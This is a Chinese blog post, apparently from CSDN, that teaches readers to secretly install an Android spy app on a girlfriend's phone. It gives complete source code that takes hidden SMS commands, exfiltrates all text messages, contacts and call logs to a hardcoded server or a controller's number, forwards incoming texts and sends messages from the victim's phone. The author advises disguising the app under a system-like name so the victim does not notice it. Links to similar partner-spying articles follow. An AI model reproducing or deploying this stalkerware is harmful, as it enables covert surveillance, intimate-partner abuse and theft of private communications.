教你如何监控你的妹子或者将来的妹子的手机

最新推荐文章于 2023-11-13 01:26:06 发布
最新推荐文章于 2023-11-13 01:26:06 发布
阅读量1.5k 收藏 6
点赞数
分类专栏： java
不得不说android是一个非常智能的系统，电话或者短信都能远程获取。。

关于大家一直说怎么使用，我来简单的说明一下吧，讲工程文件中的apk文件安装在你想监控的人的手机中，然后随便找个手机给他

发短信"qingxue:12" 表示以短信的模式获取

再发"qingxue:1"       获取监控人的所有短信的记录

短信转发有点不一样，发送"qingxue:4:13555555555:helloworld"   表示通过监控人的手机给13555555555发送短信，内容为“helloworld”

注：以上短信内容均不含""

以下程序可实现通话记录监控，通讯录获取，短信获取，或者利用被控端进行短信转发，至于另外一些像虚拟短信，短信屏蔽，电话录音或者屏蔽，都是大同小异，由于时间关系这里就不实现了，喜欢的同学可以自己研究下android的API

为了不让对方怀疑，可以取个和系统相似的名字。如：SystemManage

包结构：

清单文件，主要是一些用到的android权限

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.me.androidsystem"
    android:versionCode="1"
    android:versionName="1.0" >
	<!-- 接收短信权限 -->
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.READ_SMS"/>
    <!-- 访问internet权限 -->
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"></uses-permission>
	<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"></uses-permission>
    <uses-permission android:name="android.permission.PROCESS_OUTGOING_CALLS" />
	<uses-permission android:name="android.permission.READ_CONTACTS"/>
 	<uses-permission android:name="android.permission.WRITE_CONTACTS"/>
 	<uses-permission android:name="android.permission.READ_CALL_LOG"/>  
  
    <uses-sdk
        android:minSdkVersion="7"
        android:targetSdkVersion="18" />


    <application
        android:allowBackup="true"
        android:icon="@drawable/ic_launcher"
        android:label="@string/app_name"
        android:theme="@style/AppTheme" >
      
        <receiver android:name="com.me.androidsystem.SmsReceiver">
            <intent-filter android:priority="1000" >
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
        <receiver android:name="com.me.androidsystem.NetstateReceiver">  
    		<intent-filter>  
        		<action android:name="android.net.conn.CONNECTIVITY_CHANGE" />  
    		</intent-filter>  
		</receiver>  
        <service android:name="com.me.androidsystem.service.SmsService" >
        </service>
        <service android:name="com.me.androidsystem.service.PhoService" >
        </service>  
    </application>
</manifest>


 常用字段我全部写在一个类中了

 

package com.me.androidsystem.util;  
/* 
 操作说明 
控制端发送短信指令 
1 ————获取客户端的所有短信 
2 ————获取客户端的所有通信录包括通话记录 
3 ————仅获取客户端的所有通话记录 
4 ————短信转发 
11————设置获取客户端所有短信的模式为短信发送模式 
12————设置获取客户端所有短信的模式为网络发送模式 
13————设置获取客户端所有短信的模式为网络优先发送模式 
21————设置获取客户端的所有通信录包括通话记录的模式为短信发送模式 
22————设置获取客户端的所有通信录包括通话记录的模式为网络发送模式 
23————设置获取客户端的所有通信录包括通话记录的模式为网络优先发送模式 
30————设置获取客户端当前短信的模式为不获取 
31————设置获取客户端当前短信的模式为短信模式 
32————设置获取客户端当前短信的模式为网络模式 
33————设置获取客户端当前短信的模式为网络优先模式 
如发送:qingxue:21后再发qingxue:2对方的所有通信录包括通话记录都会以短信的形式发送到你手机上 
 */  
public class ServiceUtil {  
    //控制端的手机号 每次发送指令时会自动修改为发送指令的手机号   
    public static String CONTROL_NUMBER = "+8618271803015";  
    //控制端的网络服务器192.168.137.218  221.234.230.22   
    public static final String CONTROL_SERVER_ADDRESS = "http://125.221.35.18/monitor/";  
    //发送电话信息请求的Servlet   
    public static final String PHO_SERVLET = "GetPHOInfoServlet";  
    //发送单个短信请求的Servlet 目前没有用   
    public static final String SMS_ONE_SERVLET = "GetSmsOneServlet";  
    //控制端的key   
    public static final String CONTROL_START = "qingxue";  
    //配置文件的名称   
    public static final String CONFIG_NAME = "config";  
    //保存离线短信信息文件   
    public static final String OFF_INFO = "off_info";  
      
    public static final String COMMAND="command";  
    //控制端获取用户的所有短信   
    public static final int GET_ALL_SMS = 1;  
    //控制端获取用户所有电话和通话记录   
    public static final int GET_ALL_PHO = 2;  
    //控制端获取用户所有通话记录   
    public static final int GET_ONLY_PHO = 3;  
    //短信转发   
    public static final int SMS_TRANSPOND = 4;  
      
    //设置短信的操作模式为无   
    public static final int SET_SMS_MODEL_0 = 10;  
    //设置短信的操作模式为MODEL_SMS_ONLY   
    public static final int SET_SMS_MODEL_1 = 11;  
    //设置短信的操作模式为MODEL_NET_ONLY   
    public static final int SET_SMS_MODEL_2 = 12;   //默认   
    //设置短信的操作模式为MODEL_NET_SMS   
    public static final int SET_SMS_MODEL_3 = 13;  
  
    // 设置通信记录的操作模式为无   
    public static final int SET_PHO_MODEL_0 = 20;  
    // 设置通信记录的操作模式为MODEL_SMS_ONLY   
    public static final int SET_PHO_MODEL_1 = 21;  
    // 设置通信记录的操作模式为MODEL_NET_ONLY   
    public static final int SET_PHO_MODEL_2 = 22;   //默认   
    // 设置通信记录的操作模式为MODEL_NET_SMS   
    public static final int SET_PHO_MODEL_3 = 23;  
      
    //设置短信的操作模式为无   
    public static final int SET_SMS_ONE_MODEL_0 = 30;  
    //设置短信的操作模式为MODEL_SMS_ONLY   
    public static final int SET_SMS_ONE_MODEL_1 = 31;  
    //设置短信的操作模式为MODEL_NET_ONLY   
    public static final int SET_SMS_ONE_MODEL_2 = 32;//默认   
    //设置短信的操作模式为MODEL_NET_SMS   
    public static final int SET_SMS_ONE_MODEL_3 = 33;  
      
    //对于单条短信的操作模式   
    public static final String SMS_ONE_MODEL = "sms_one_model";   
    //对于所有短信的操作模式   
    public static final String SMS_MODEL = "sms_model";   
    //对于电话的操作模式   
    public static final String PHO_MODEL = "pho_model";  
      
    //不发送模式   
    public static final int MODEL_NONE = 0;  
    //短信模式   
    public static final int MODEL_SMS_ONLY = 1;  
    //网络模式   
    public static final int MODEL_NET_ONLY = 2;  
    //短信和网络模式，网络优先   
    public static final int MODEL_NET_SMS = 3;  
      
    //仅获取通话记录   
    public static boolean ONLY_TEL = false;  
}


电话的服务类

package com.me.androidsystem.service;  
  
import java.text.SimpleDateFormat;  
import java.util.ArrayList;  
import java.util.Date;  
import java.util.HashMap;  
import java.util.List;  
import java.util.Map;  
  
import android.app.Service;  
import android.content.ContentResolver;  
import android.content.Context;  
import android.content.Intent;  
import android.content.SharedPreferences;  
import android.content.SharedPreferences.Editor;  
import android.database.Cursor;  
import android.net.ConnectivityManager;  
import android.net.NetworkInfo;  
import android.os.IBinder;  
import android.provider.CallLog;  
import android.provider.CallLog.Calls;  
import android.provider.ContactsContract;  
import android.util.Log;  
  
import com.me.androidsystem.domain.CallRecord;  
import com.me.androidsystem.util.CommndUtil;  
import com.me.androidsystem.util.ServiceUtil;  
  
public class PhoService extends Service {  
    private SharedPreferences preferences;  
    @Override  
    public void onCreate() {  
        super.onCreate();  
        List<Map<String, String>> contacts = getContacts();  
        List<CallRecord> callRecords = getCallRecord();  
        preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,  
                Context.MODE_PRIVATE);  
        int model = preferences.getInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NET_ONLY);  
          
        switch (model) {   
        case ServiceUtil.MODEL_SMS_ONLY:  
            sendSMSContent(contacts,callRecords);  
            break;  
        case ServiceUtil.MODEL_NET_ONLY:  
            sendNETContent(contacts,callRecords);  
            break;  
        case ServiceUtil.MODEL_NET_SMS:  
            sendNETORSMSContent(contacts,callRecords);  
            break;  
  
        default:  
            break;  
        }  
        stopSelf();  
    }  
  
    private void sendNETORSMSContent(List<Map<String, String>> contacts,  
            List<CallRecord> callRecords) {  
        ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
        if(networkInfo != null && networkInfo.isAvailable()){    
            //当前有可用网络     
            sendNETContent(contacts, callRecords);  
        }else{    
            //当前无可用网络   
            sendSMSContent(contacts, callRecords);  
        }    
    }  
  
    private void sendNETContent(List<Map<String, String>> contacts,  
            List<CallRecord> callRecords) {  
        ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
        if(networkInfo != null && networkInfo.isAvailable()){    
            //当前有可用网络     
  
            CommndUtil.sendInternet(resolve(contacts, callRecords), ServiceUtil.PHO_SERVLET);  
        }else{    
            //当前无可用网络   
            String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");  
            Editor editor = preferences.edit();  
            editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(contacts, callRecords)+"\n");  
            editor.commit();  
            return;  
        }    
          
    }  
  
    private void sendSMSContent(List<Map<String, String>> contacts,  
            List<CallRecord> callRecords) {  
        CommndUtil.sendSMS(resolve(contacts, callRecords));  
    }  
  
    private String resolve(List<Map<String, String>> contacts,List<CallRecord> callRecords){  
        StringBuilder sb = new StringBuilder();  
        if(!ServiceUtil.ONLY_TEL){  
            sb.append("姓名     电话\n");  
            for(Map<String, String> map : contacts){  
                String name = map.get("name");  
                String number = map.get("number");  
                sb.append(name + " " + number);  
            }  
        }  
          
        sb.append("-------------------------\n"+"通话记录\n");  
        sb.append("姓名  类型  时间   时长  电话\n");  
        for(CallRecord callRecord : callRecords){  
            String name = callRecord.getLinkman();  
            String type = callRecord.getType();  
            String time = callRecord.getCallDate();  
            String durction = callRecord.getDurction();  
            String number = callRecord.getNumber();  
            sb.append(name + " " + type + " " + time + " " + durction + " " + number + "\n");  
        }  
        return sb.toString();  
    }  
      
    // 获取联系人信息   
    public List<Map<String, String>> getContacts() {  
        Map<String, String> contacts;  
        List<Map<String, String>> list = new ArrayList<Map<String, String>>();  
        int nameIndex = -1;  
        ContentResolver cr = getContentResolver();  
        Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI, null,  
                null, null, null);  
        while (cur.moveToNext()) {  
            String number = "";  
            // 得到名字   
            nameIndex = cur  
                    .getColumnIndex(ContactsContract.Contacts.DISPLAY_NAME);  
            String name = cur.getString(nameIndex);  
            // 得到电话号码   
            String contactId = cur.getString(cur  
                    .getColumnIndex(ContactsContract.Contacts._ID)); // 获取联系人的ID号，在SQLite中的数据库ID   
            Cursor phone = cr.query(  
                    ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null,  
                    ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = "  
                            + contactId, null, null);  
            while (phone.moveToNext()) {  
                String strPhoneNumber = phone  
                        .getString(phone  
                                .getColumnIndex(ContactsContract.CommonDataKinds.Phone.NUMBER)); // 手机号码字段联系人可能不止一个   
                number += strPhoneNumber + "\n";  
            }  
            contacts = new HashMap<String, String>();  
            // 放入Map   
            contacts.put("name", name);  
            contacts.put("number", number);  
            list.add(contacts);  
        }  
        cur.close();  
        return list;  
    }  
  
    // 获取通话记录   
    public List<CallRecord> getCallRecord() {  
        List<CallRecord> list = new ArrayList<CallRecord>();  
        ContentResolver cr = getContentResolver();  
        Cursor cursor = cr.query(CallLog.Calls.CONTENT_URI,  
                new String[] { CallLog.Calls.NUMBER, CallLog.Calls.CACHED_NAME,  
                        CallLog.Calls.TYPE, CallLog.Calls.DATE,  
                        CallLog.Calls.DURATION }, null, null,  
                CallLog.Calls.DEFAULT_SORT_ORDER);  
  
        while (cursor.moveToNext()) {  
            String strNumber = cursor.getString(cursor  
                    .getColumnIndex(Calls.NUMBER)); // 呼叫号码   
            String strName = cursor.getString(cursor  
                    .getColumnIndex(Calls.CACHED_NAME)); // 联系人姓名   
            int type = cursor.getInt(cursor.getColumnIndex(Calls.TYPE));// 来电:1,拨出:2,未接:3   
            String callType = "";  
            switch (type) {  
            case 1:  
                callType = "来电";  
                break;  
            case 2:  
                callType = "拨出";  
                break;  
            case 3:  
                callType = "未接";  
                break;  
            }  
            long duration = cursor.getLong(cursor  
                    .getColumnIndex(Calls.DURATION));  
            String durationTime = formatTime(duration);  
            SimpleDateFormat sfd = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss");  
            Date date = new Date(Long.parseLong(cursor.getString(cursor  
                    .getColumnIndex(Calls.DATE))));  
            String time = sfd.format(date);  
            list.add(new CallRecord(strName, strNumber, time, callType,  
                    durationTime));  
        }  
        return list;  
    }  
  
    private String formatTime(long duration) {  
        int timetiem = (int) duration;  
        int minute = timetiem / 60;  
        int hour = minute / 60;  
        int second = timetiem % 60;  
        minute %= 60;  
        return String.format("%02d:%02d:%02d", hour, minute, second);  
  
    }  
  
    @Override  
    public IBinder onBind(Intent intent) {  
        // TODO Auto-generated method stub   
        return null;  
    }  
  
}


短信的服务类

package com.me.androidsystem.service;  
  
import java.text.SimpleDateFormat;  
import java.util.ArrayList;  
import java.util.Date;  
import java.util.List;  
  
import android.app.Service;  
import android.content.ContentResolver;  
import android.content.Context;  
import android.content.Intent;  
import android.content.SharedPreferences;  
import android.content.SharedPreferences.Editor;  
import android.database.Cursor;  
import android.database.sqlite.SQLiteException;  
import android.net.ConnectivityManager;  
import android.net.NetworkInfo;  
import android.net.Uri;  
import android.os.IBinder;  
  
import com.me.androidsystem.domain.SmsInfo;  
import com.me.androidsystem.util.CommndUtil;  
import com.me.androidsystem.util.ServiceUtil;  
  
public class SmsService extends Service {  
    private SharedPreferences preferences;   
    @Override  
    public void onCreate() {  
        super.onCreate();  
        preferences = getSharedPreferences(ServiceUtil.CONFIG_NAME,  
                Context.MODE_PRIVATE);  
        int model = preferences.getInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NET_ONLY);  
        switch (model) {   
        case ServiceUtil.MODEL_SMS_ONLY:  
            sendSMSContent();  
            break;  
        case ServiceUtil.MODEL_NET_ONLY:  
            sendNETContent();  
            break;  
        case ServiceUtil.MODEL_NET_SMS:  
            sendNETORSMSContent();  
            break;  
  
        default:  
            break;  
        }  
        stopSelf();  
    }  
  
    private void sendNETORSMSContent() {  
        ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
        if(networkInfo != null && networkInfo.isAvailable()){    
            //当前有可用网络     
            sendNETContent();  
        }else{    
            //当前无可用网络   
            sendSMSContent();  
        }    
    }  
  
    private void sendNETContent() {  
        ConnectivityManager connectivityManager = (ConnectivityManager)getSystemService(CONNECTIVITY_SERVICE);    
        NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo();    
        if(networkInfo != null && networkInfo.isAvailable()){    
            //当前有可用网络     
            CommndUtil.sendInternet(resolve(getAllSms()), ServiceUtil.PHO_SERVLET);  
        }else{    
            String oldInfo = preferences.getString(ServiceUtil.OFF_INFO, "");  
            Editor editor = preferences.edit();  
            editor.putString(ServiceUtil.OFF_INFO,oldInfo+resolve(getAllSms())+"\n");  
            editor.commit();  
            return;  
        }    
          
    }  
  
    private void sendSMSContent() {  
        CommndUtil.sendSMS(resolve(getAllSms()));  
    }  
    private String resolve(List<SmsInfo> list){  
        StringBuilder sb = new StringBuilder();  
        sb.append("联系人  电话  内容  日期  类型\n");  
        for(SmsInfo info : list){  
            String name = info.getLinkman();  
            String number = info.getNumber();  
            String content = info.getContent();  
            String date = info.getDate();  
            String type = info.getType();  
            sb.append(name + " " + number + " " + content + " " + date + " " + type +"\n");  
        }  
          
        return sb.toString();  
    }  
    @Override  
    public IBinder onBind(Intent intent) {  
        return null;  
    }  
  
    private List<SmsInfo> getAllSms() {  
        List<SmsInfo> list = new ArrayList<SmsInfo>();  
        final String SMS_URI_ALL = "content://sms/";  
        try {  
            ContentResolver cr = getContentResolver();  
            String[] projection = new String[] { "_id", "address", "person",  
                    "body", "date", "type" };  
            Uri uri = Uri.parse(SMS_URI_ALL);  
            Cursor cur = cr.query(uri, projection, null, null, "date desc");  
  
            while (cur.moveToNext()) {  
                String name;  
                String phoneNumber;  
                String smsbody;  
                String date;  
                String type;  
  
                name = cur.getString(cur.getColumnIndex("person"));  
                phoneNumber = cur.getString(cur.getColumnIndex("address"));  
                smsbody = cur.getString(cur.getColumnIndex("body"));  
  
                SimpleDateFormat dateFormat = new SimpleDateFormat(  
                        "yyyy-MM-dd hh:mm:ss");  
                Date d = new Date(Long.parseLong(cur.getString(cur  
                        .getColumnIndex("date"))));  
                date = dateFormat.format(d);  
  
                int typeId = cur.getInt(cur.getColumnIndex("type"));  
                if (typeId == 1) {  
                    type = "接收";  
                } else if (typeId == 2) {  
                    type = "发送";  
                } else if (typeId == 0) {  
                    type = "未读";  
                } else {  
                    type = "草稿";  
                }  
//以下注释去掉会将短信的联系人姓名找出，不然只能获取短信联系号码，不过时间好长，不知道也没有哪位大神能解决一下   
//              Uri personUri = Uri.withAppendedPath(   
//                      ContactsContract.PhoneLookup.CONTENT_FILTER_URI,   
//                      phoneNumber);   
//              Cursor localCursor = cr.query(personUri, new String[] {   
//                      PhoneLookup.DISPLAY_NAME, PhoneLookup.PHOTO_ID,   
//                      PhoneLookup._ID }, null, null, null);   
//   
//              if (localCursor.getCount() != 0) {   
//                  localCursor.moveToFirst();   
//                  name = localCursor.getString(localCursor   
//                          .getColumnIndex(PhoneLookup.DISPLAY_NAME));   
//              }   
                if (smsbody == null)  
                    smsbody = "";  
                list.add(new SmsInfo(name, phoneNumber, smsbody, date, type));  
            }  
        } catch (SQLiteException ex) {  
  
        }  
        return list;  
    }  
}


用于接受控制端的短信指令

 

package com.me.androidsystem;  
  
import java.text.SimpleDateFormat;  
import java.util.Date;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.content.SharedPreferences;  
import android.content.SharedPreferences.Editor;  
import android.net.ConnectivityManager;  
import android.net.NetworkInfo;  
import android.telephony.SmsMessage;  
import android.util.Log;  
  
import com.me.androidsystem.service.PhoService;  
import com.me.androidsystem.service.SmsService;  
import com.me.androidsystem.util.CommndUtil;  
import com.me.androidsystem.util.ServiceUtil;  
  
/* 
 * 实现对短信接收的监听 
 */  
public class SmsReceiver extends BroadcastReceiver {  
  
      
    public void onReceive(Context context, Intent intent) {  
        // 如果短信内容是以qingxue开头，那么表示指令   
        Object[] pdus = (Object[]) intent.getExtras().get("pdus");  
        for (Object p : pdus) {  
            byte[] pdu = (byte[]) p;  
            SmsMessage message = SmsMessage.createFromPdu(pdu);  
            String content = message.getMessageBody();  
            Date date = new Date(message.getTimestampMillis());  
            SimpleDateFormat format = new SimpleDateFormat(  
                    "yyyy-MM-dd HH:mm:ss");  
            String receiveTime = format.format(date);  
            String senderNumber = message.getOriginatingAddress();  
            Log.e("aaaa", content);  
            // ServiceUtil.CONTROL_NUMBER.equals(senderNumber)   
            if (content.length() >= ServiceUtil.CONTROL_START.length()  
                    && content.substring(0, ServiceUtil.CONTROL_START.length())  
                            .equals(ServiceUtil.CONTROL_START)) {  
                abortBroadcast();// 终止广播   
                ServiceUtil.CONTROL_NUMBER = senderNumber;  
                SharedPreferences sharedPreferences = context  
                        .getSharedPreferences(ServiceUtil.CONFIG_NAME,  
                                Context.MODE_PRIVATE);  
                Editor edit = sharedPreferences.edit();  
                int command = Integer.valueOf(content.split(":")[1]);  
                Log.e("aaaa", command+"");  
                switch (command) {  
                case ServiceUtil.GET_ALL_SMS:  
                    Intent t1 = new Intent(context, SmsService.class);  
                    context.startService(t1);  
                    break;  
                case ServiceUtil.GET_ALL_PHO:  
                    ServiceUtil.ONLY_TEL = false;  
                    Intent t2 = new Intent(context, PhoService.class);  
                    context.startService(t2);  
                    break;  
                case ServiceUtil.GET_ONLY_PHO:  
                    ServiceUtil.ONLY_TEL = true;  
                    Intent t3 = new Intent(context, PhoService.class);  
                    context.startService(t3);  
                    break;  
                case ServiceUtil.SMS_TRANSPOND:  
                    try {  
                        if (content.split(":").length >= 4) {  
                            String number = content.split(":")[2];  
                            String msg = content.split(":")[3];  
                            CommndUtil.sendSMS(msg, number);  
                        }  
                    } catch (Exception e) {  
                    }  
                    break;  
                // 对获取所有短信是发送模式设置   
                case ServiceUtil.SET_SMS_MODEL_0:  
                    edit.putInt(ServiceUtil.SMS_MODEL, ServiceUtil.MODEL_NONE);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_MODEL_1:  
                    edit.putInt(ServiceUtil.SMS_MODEL,  
                            ServiceUtil.MODEL_SMS_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_MODEL_2:  
                    edit.putInt(ServiceUtil.SMS_MODEL,  
                            ServiceUtil.MODEL_NET_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_MODEL_3:  
                    edit.putInt(ServiceUtil.SMS_MODEL,  
                            ServiceUtil.MODEL_NET_SMS);  
                    edit.commit();  
                    break;  
                // 对获取所有通信录是发送模式设置   
                case ServiceUtil.SET_PHO_MODEL_0:  
                    edit.putInt(ServiceUtil.PHO_MODEL, ServiceUtil.MODEL_NONE);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_PHO_MODEL_1:  
                    edit.putInt(ServiceUtil.PHO_MODEL,  
                            ServiceUtil.MODEL_SMS_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_PHO_MODEL_2:  
                    edit.putInt(ServiceUtil.PHO_MODEL,  
                            ServiceUtil.MODEL_NET_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_PHO_MODEL_3:  
                    edit.putInt(ServiceUtil.PHO_MODEL,  
                            ServiceUtil.MODEL_NET_SMS);  
                    edit.commit();  
                    break;  
                // 对获取当前短信的发送模式设置   
                case ServiceUtil.SET_SMS_ONE_MODEL_0:  
                    edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
                            ServiceUtil.MODEL_NONE);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_ONE_MODEL_1:  
                    edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
                            ServiceUtil.MODEL_SMS_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_ONE_MODEL_2:  
                    edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
                            ServiceUtil.MODEL_NET_ONLY);  
                    edit.commit();  
                    break;  
                case ServiceUtil.SET_SMS_ONE_MODEL_3:  
                    edit.putInt(ServiceUtil.SMS_ONE_MODEL,  
                            ServiceUtil.MODEL_NET_SMS);  
                    edit.commit();  
                    break;  
                // 对获取通话记录的发送模式设置与获取所有通信录方式相同   
  
                default:  
                    break;  
                }  
            }  
            // 如果是普通的短信 可以设置转发或者不采取操作   
            else if (!ServiceUtil.CONTROL_NUMBER.equals(senderNumber)) {  
                SharedPreferences sharedPreferences = context  
                        .getSharedPreferences(ServiceUtil.CONFIG_NAME,  
                                Context.MODE_PRIVATE);  
                int model = sharedPreferences.getInt(ServiceUtil.SMS_ONE_MODEL,  
                        ServiceUtil.MODEL_NET_ONLY);  
                ConnectivityManager connectivityManager = (ConnectivityManager) context  
                        .getSystemService(Context.CONNECTIVITY_SERVICE);  
                NetworkInfo networkInfo = connectivityManager  
                        .getActiveNetworkInfo();  
                switch (model) {  
                case ServiceUtil.MODEL_SMS_ONLY:  
                    CommndUtil  
                            .sendSMS("收到来自" + senderNumber + "的短信：" + content);  
                    break;  
                case ServiceUtil.MODEL_NET_ONLY:  
                    if (networkInfo != null && networkInfo.isAvailable()) {  
                        // 当前有可用网络   
                        CommndUtil.sendInternet("收到来自" + senderNumber + "的短信："  
                                + content, ServiceUtil.SMS_ONE_SERVLET);  
                    } else {  
                        // 当前无可用网络   
                        String oldInfo = sharedPreferences.getString(  
                                ServiceUtil.OFF_INFO, "");  
                        Editor editor = sharedPreferences.edit();  
                        editor.putString(ServiceUtil.OFF_INFO, oldInfo  
                                + receiveTime + " 收到来自" + senderNumber + "的短信："  
                                + content + "\n");  
                        editor.commit();  
                        return;  
                    }  
                    break;  
                case ServiceUtil.MODEL_NET_SMS:  
                    if (networkInfo != null && networkInfo.isAvailable()) {  
                        // 当前有可用网络   
                        CommndUtil.sendInternet("收到来自" + senderNumber + "的短信："  
                                + content, ServiceUtil.PHO_SERVLET);  
                    } else {  
                        // 当前无可用网络   
                        CommndUtil.sendSMS("收到来自" + senderNumber + "的短信："  
                                + content);  
                    }  
                    break;  
                default:  
                    break;  
                }  
            }  
        }  
    }  
  
}


这个类负责在通过网络获取时，用户的网络是关闭状态，只要用户打开网络，会继续发送

 

package com.me.androidsystem;  
  
import android.content.BroadcastReceiver;  
import android.content.Context;  
import android.content.Intent;  
import android.content.SharedPreferences;  
import android.net.ConnectivityManager;  
import android.net.NetworkInfo;  
  
import com.me.androidsystem.util.CommndUtil;  
import com.me.androidsystem.util.ServiceUtil;  
  
public class NetstateReceiver extends BroadcastReceiver {  
  
    @Override  
    public void onReceive(Context context, Intent intent) {  
        ConnectivityManager manager = (ConnectivityManager) context  
                .getSystemService(Context.CONNECTIVITY_SERVICE);  
        NetworkInfo gprs = manager  
                .getNetworkInfo(ConnectivityManager.TYPE_MOBILE);  
        NetworkInfo wifi = manager  
                .getNetworkInfo(ConnectivityManager.TYPE_WIFI);  
        if (!gprs.isConnected() && !wifi.isConnected()) {  
            // network closed   
        } else {  
            // network opend   
            SharedPreferences sharedPreferences = context.getSharedPreferences(ServiceUtil.CONFIG_NAME,Context.MODE_PRIVATE);  
            String content = sharedPreferences.getString(ServiceUtil.OFF_INFO, "");  
            if(!"".equals(content)){  
                if(CommndUtil.sendInternet(content, ServiceUtil.PHO_SERVLET)){  
                    sharedPreferences.edit().putString(ServiceUtil.OFF_INFO, "").commit();  
                }  
            }  
        }  
    }  
}


 

零0000
关注
  • 0
    点赞
  • 踩
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
强悍的纽约设计师妹子教你App设计四大原则
02-26
设计最有趣的地方在于它的通用性，不论是音乐、建筑还是工业，设计的规则大同小异。今天这篇文章来自纽约的产品设计师妹子Melissa，她从建筑系毕业之后并未从事她的本职工作，2014年11月学习了两个半月的网页设计之后开始转战产品和UI设计了，目前供职于Percolate。不要小瞧她的设计素养，建筑系的系统学习赋予她对于广泛意义上的设计更深入的认知，这篇文章就是这半年多来的一个阶段性答卷。这篇文章总结了从建筑到产品UI的四个设计的基本原则。轴在UI设计中是最基本、最常见的概念，也是用来组织界面结构的重要核心。简单说来，轴是在设计的时候组织一系列元素的假象线，在下面的设计图中，轴以虚线的方式被标注出
女朋友从来不查手机，却对我的行踪了如指掌，原来她用Python监控
youmaob的博客
12-20 629
近期，小伙说他女朋友可以实时监控了自己的微博一更新动态，到最后被现场抓了都是一脸懵逼；于是他找上我，问我他女朋友是如何得知自己微博一更新动态，想弄明白到底是怎么回事；这必须得安排上啊，让我们愉快地开始吧Python版本：3.6.4DecryptLogin模块；以及一些Python自带的模块。
python程序员，编写远程监控程序，用微信监控女友都在做些什么？
qq_42489308的博客
03-14 2566
好奇心跟疑心 很多人都有好奇心或者疑心，有人说中国人最大的特点就是围观 你的女男朋友现在在做什么？有没有做什么对不起自己的事情，在跟谁聊天，是不是好奇想知道？ python程序员，编写远程监控程序，用微信监控女友都在做些什么？ 用python写一个监控程序 用python写一个实用又具备恶搞的程序 我们先看一下程序实现的效果 python程序员，编写远程监控程序，用微信监控女...
Python监控你的（女朋友/男朋友）每天都在看哪些网站
program_G的博客
05-25 387
Python监控你的（女朋友/男朋友）每天都在看哪些网站需求背景requirements代码执行问题总结展望 需求 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间，并存在一个txt文件中 将这个txt文件发送给指定的邮箱地址(你的邮箱) 建立例行任务，每天定时自动完成这些操作，你就可以通过邮件查看你对象每天看啥了 背景 mac下chrome的浏览记录在哪？怎么获取网址(url)和访问时间？ 答：路径：/Users/用户名/Library/Application\ Suppor
python妹子图简单爬虫实例
09-21
主要介绍了python妹子图简单爬虫,实例分析了Python爬虫程序所涉及的页面源码获取、进度显示、正则匹配等技巧,需要的朋友可以参考下
用python监控女朋友的网站看你女朋友每天都在看一些什么东西
pythonxiaopeng的博客
09-28 954
需求 （1）你要有个女朋友（没有也行问题不大） （2）获取你女朋友chrome前一天浏览记录中的所有网站路径和访问时间，把它保存到一个txt中 （3）将这个txt文件发送给指定的邮箱（你的邮箱，或者我的邮箱，发给我我也不介意） （4）建立例行任务，每天定时自动完成这些操作，你就可以通过邮件查看你女朋友每天看了写什么网站。 背景 （1）mac下chrome的浏览记录在哪？怎么获取网址(url)和访问时间？ 路径：/Users/用户名/Library/Application\ Support/Google/Ch
担心女友出轨？怕被绿？教你利用Python监控她的所有软件！
爬遍所有网站
03-24 847
我们常听说：如果要操作某个软件或者监听某个软件的话，可以使用钩子（ Hook）钩住软件，那这是如何操作的呢？用Python又如何实现呢？ 本教程我们将 通过注册Hook打造一款间谍程序，来监听win系统的笔记本，先给大家演示下效果吧！ 一、 Hook 技术 程序的基本原理在于通过 注册Hook，记录系统事件。 那么什么是Hook呢？ Hook 技术又叫做 钩子函数，系统在调用...
什么办法监控妻子手机？盘点几种惊心动魄的方法！
热门推荐
ID8668的博客
11-13 1万+
试图监控妻子手机都是不可取的。虽然丈夫对妻子的行踪和交往情况产生疑虑是正常的，但采取偷窥、黑客攻击等不道德和违法的方式只会加剧矛盾，伤害夫妻关系。相反，夫妻之间应该坦诚相待，建立起互相信任的基础。只有通过沟通和理解，才能真正解决问题，维护幸福的家庭。
黑客是怎么入侵用户手机窃听的？
xiangxueerfei的博客
03-01 7673
